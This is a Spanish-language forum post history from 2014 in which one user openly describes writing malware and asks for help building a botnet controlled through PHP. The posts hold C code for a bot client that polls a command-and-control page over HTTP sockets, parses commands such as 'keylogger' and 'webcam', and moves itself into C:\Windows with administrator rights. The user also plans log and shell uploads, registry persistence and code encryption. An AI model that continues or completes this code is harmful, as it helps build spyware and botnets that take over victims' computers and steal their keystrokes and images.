|
671
|
Programación / Programación C/C++ / Ayuda obtener permisos administrador
|
en: 21 Septiembre 2014, 01:44 am
|
Buenas gente, estaba escribiendo algún malware y llegado el momento de instalarse necesito que se copie en el directorio "C:\Windows" y necesito permisos de root, he estado buscando bastante por google, y parece que hay funciones para unix, a través de las cuales puedes adquirir el root para ejecutar el programa, yo solo quiero que mi programa al ejecutar tenga permisos de root para poder copiarse en ese directorio, ahora estoy trabajando el C++, soy nuevo pero me adaptaré rápido espero xD. Confío en que sepáis algo sobre el tema, toda ayuda es bienvenida. Edito: He estado mirando cosas para hacerlo, quizás con chmod() podría eliminar privilegios del directorio en cuestión. Pero seguramente necesite permisos para usarla no se si windows me pondra en el .exe la opción de correr como administrador, estaría bien. Edito: No entiendo, si tengo este código: #include <sys/types.h> #include <sys/stat.h> #include <io.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <windows.h> using namespace std; int main() { int permisos; permisos=_chmod("C:\\Users\\...\\programa.exe",_S_IWRITE); if(permisos==-1) { printf("Error al dar permisos al archivo."); } else { printf("Éxito al dar permisos al archivo."); } system("move programa.exe C:\\Windows"); getchar(); return 0; }
No entiendo porque para poder ejecutar el move hacia el directorio necesito clicar botón derecho en el programa y ejecutar como administrador, eso ya lo tenía sin hacer nada, lo que quiero es que no tengas que dar al botón derecho, que directamente el programa al darlo click te diga que va a ser ejecutado como administrador (aunque eso solo la primera ejecución luego estaría ya copiado y no necesitaría permisos). Se supone que le di permisos de escritura al archivo, y me los concedió entonces ¿por qué tengo que ejecutarlo como administrador para hacer el move? Yo quiero que salga igual que cuando vamos a instalar un programa nos pide permisos, (no se puede correr sin los permisos), y que cuando se instale ya no necesite pedir permisos más, como cualquier programa que instalamos vamos. Edito: He encontrado esto, ¿cómo debería aplicarlo al código para que me funcionara? http://msdn.microsoft.com/en-us/library/bb756929.aspxTambién mediante makefiles se puede incrustar el manifiesto: http://msdn.microsoft.com/es-es/library/ms235591.aspxSaludos.
|
|
|
672
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 23:54 pm
|
Muchas gracias por la ayuda compañero, la verdad que me funciono perfecto )) Ahora estoy corrigiendo mil fallos, y tengo pensado meterle comandos para trolear en plan mover_raton, infinitas ventanas, meter contador de tiempo al keylogger, tambien estoy trabajando con los directorios del servidor, cuando se conecta un cliente x primera vez crea una carpeta para ese usuario y otras 3 dentro de ella (pics,logs,shell), para tenerlo todo bien ordenador, lo estoy probando y la shell va perfecta, ahora solo me falla el post para subir los logs y las shells, espero repararlo pronto, pero quedan mil cosas por hacer como el anclado al registro, control de errores, poner la memoria de las variable con sentido, cifrar rl código, podría escribir un libro en fin NUNCA ACABARA!!! XDDD Si tengo algún problema lo posteo que vuestra ayuda me viene muy bien xD Edito: Marcho a dormir satisfecho después del trabajo y las pruebas, ya os contaré. Saludos
|
|
|
673
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 21:17 pm
|
Hay un marciano con una varita mágica detrás de mí, nueva novedad, tengo un archivo llamado user.dat tiene esto: Son 6 caracteres que identifican al usuario todo fantastico. void conecta_k(char nada[]) { FILE *dat,*x; WSADATA wsa; int sok,len,i=0; struct sockaddr_in dir; char buf[80384],cad[80384],aux[10],borra[50]="del ",car,nombre[50]; WSAStartup(MAKEWORD(2,0),&wsa); if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){} else{ dir.sin_family=AF_INET; dir.sin_port=htons(PUERTO); dir.sin_addr.s_addr=inet_addr(IP); x =fopen("user.dat","rt"); printf("hemos leido user.dat el usuario es %s",nombre ); .... }
Pues bien resulta que quiero abrir el archivo para leer el usuario y hacer un post cargando el nombre de usuario en la variable "u", pero sorpresa lo que leo del archivo en la variable nombre es una coma "," ni más ni menos, es por elloque escribo este mensaje, haber si sabéis como solucionar esto o porque se produce yo estoy casi seguro que todos los fallos hasta ahora vienen dados por el recv esa cadena tiene cosas raras invisibles seguro, dicho esto estoy activamente buscando alguna respuesta. Saludos
|
|
|
674
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 20:16 pm
|
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando. Eso puede ser una solución, aunque ya creo más en la magia que en los hechos. Probando... Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado: b=0; for(i=0;i<strlen(comando);i++) { if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*') { i=i+4; while(comando[i]!='\n') { comanda[b]=comando[i]; i++; b++; } comanda[sizeof(comanda)]='\0'; break; } } } b=0; for(i=0;i<strlen(comanda);i++) { if(comanda[i]!='*') { cumanda[b]=comanda[i]; b++; } else { cumanda[b]='\0'; break; } } printf("Comando extraido: %s\n\n",cumanda ); for(i=0;i<strlen(cumanda);i++) { printf("(%c %d)",cumanda [i ],cumanda [i ]); } return cumanda;
Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás. Saludos y gracias.
|
|
|
675
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 19:53 pm
|
Bueno aquí estoy otra vez, me estoy desesperando un poco con esto: Respuesta del servidor: (la muestro como código) HTTP/1.1 200 OK Date: Wed, 17 Sep 2014 22:34:04 GMT Server: Apache X-Powered-By: PHP/5.2.17 Content-Length: 163 Connection: close Content-Type: text/html
****keylogger <!-- Hosting24 Analytics Code --> <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script> <!-- End Of Analytics Code --> Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena. El algoritmo que uso para extraer el comando de la cadena es el siguiente: b=0; for(i=0;i<strlen(comando);i++) { if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*') { i=i+4; while(comando[i]!='\n') { comanda[b]=comando[i]; i++; b++; } comanda[sizeof(comanda)-2]='\0'; comanda[sizeof(comanda)-1]='\0'; comanda[sizeof(comanda)]='\0'; break; } } } printf("Comando extraido: %s\n\n",comanda ); for(i=0;i<strlen(comanda);i++) { printf("(%c %d)",comanda [i ],comanda [i ]); } return comanda;
Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles. Os pongo lo que ha mostrado el for: (k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71) Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea increible LOL. Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c. Edito: He vuelto a probarlo y me muestra esto: (k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82) Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro. Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto: las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113) Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice: printf("Comando extraido: %s",comando );
Y muestra: qumando extraido: ping teleco.com Saludos
|
|
|
676
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 00:33 am
|
Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera HTTP/1.1 200 OK Date: Wed, 17 Sep 2014 22:34:04 GMT Server: Apache X-Powered-By: PHP/5.2.17 Content-Length: 163 Connection: close Content-Type: text/html
webcam ya <!-- Hosting24 Analytics Code --> <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script> <!-- End Of Analytics Code -->
Sale esta preciosidad PD ha desaparecido el a3 que salia antes lol Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos
|
|
|
677
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 00:23 am
|
O-MAI-GAD ya lo teeeengooooo había cambiado el espacio al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto Ahora es cuando digo como ** saco el comando de ahí xD Si me sale hasta la publicidad del hosting abajo la madre que lo parió. Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando. Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido Os mantendré informados de como me va esto. Saludos.
|
|
|
679
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 18 Septiembre 2014, 00:04 am
|
Bueno haber he improvisado esta función haber xD cliente.c *char recojecomando() { WSADATA wsa; int sok; struct sockaddr_in dir; char buf[60384],comando[100]; WSAStartup(MAKEWORD(2,0),&wsa); if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {} else { dir.sin_family=AF_INET; dir.sin_port=htons(PUERTO); dir.sin_addr.s_addr=inet_addr(IP);
strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n"); strcat(buf,"Host: miweb.com\r\n"); strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY="); strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n"); strcat(buf,"\r\n\r\n");
connect(sok,(struct sockaddr*)&dir,sizeof(dir)); send(sok,buf,strlen(buf),0); recv(sok,comando,50,0); closesocket(sok); } return comando; }
Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.
|
|
|
680
|
Programación / PHP / Re: Controlar botnet con PHP
|
en: 17 Septiembre 2014, 23:40 pm
|
Entonces vale tengo esto en el PHP: user1.php <? ECHO "MFDLWC"; ?>
Y ahora esto en el cliente C: int main() { char comando[50]; //Ahora como recibiría el comando conectándome a la página return 0; }
Lo demás lo he entendido, pero eso de visita a la página que debo usar sockets? O no sé como hacerlo entonces, el cliente C está vacío xD, es que no se como va eso, el php ya lo he pillado, ahora la parte del cliente para visitar la pagina puerto 80 usando http, ahí me pierdo indagaré en el asunto mientras. Para facilitar las cosas puedes hacer el bot en php Oh eso sería maravilloso, pero a ser posible preferiría hacerlo en C para no mezclar aunque buena aportación, ya tengo algo. Edito: Supongo que tendré que usar algo del estilo: https://www.cs.utah.edu/~swalton/listings/sockets/programs/part1/chap4/http-client.cEdito: He encontrado uno mejor, este es entre cliente java y server php: (aunque siguen siendo lenguajes de alto nivel xD) http://stackoverflow.com/questions/6527037/php-server-java-client-post-and-echoSaludos y gracias
|
|
|
|
|
|
|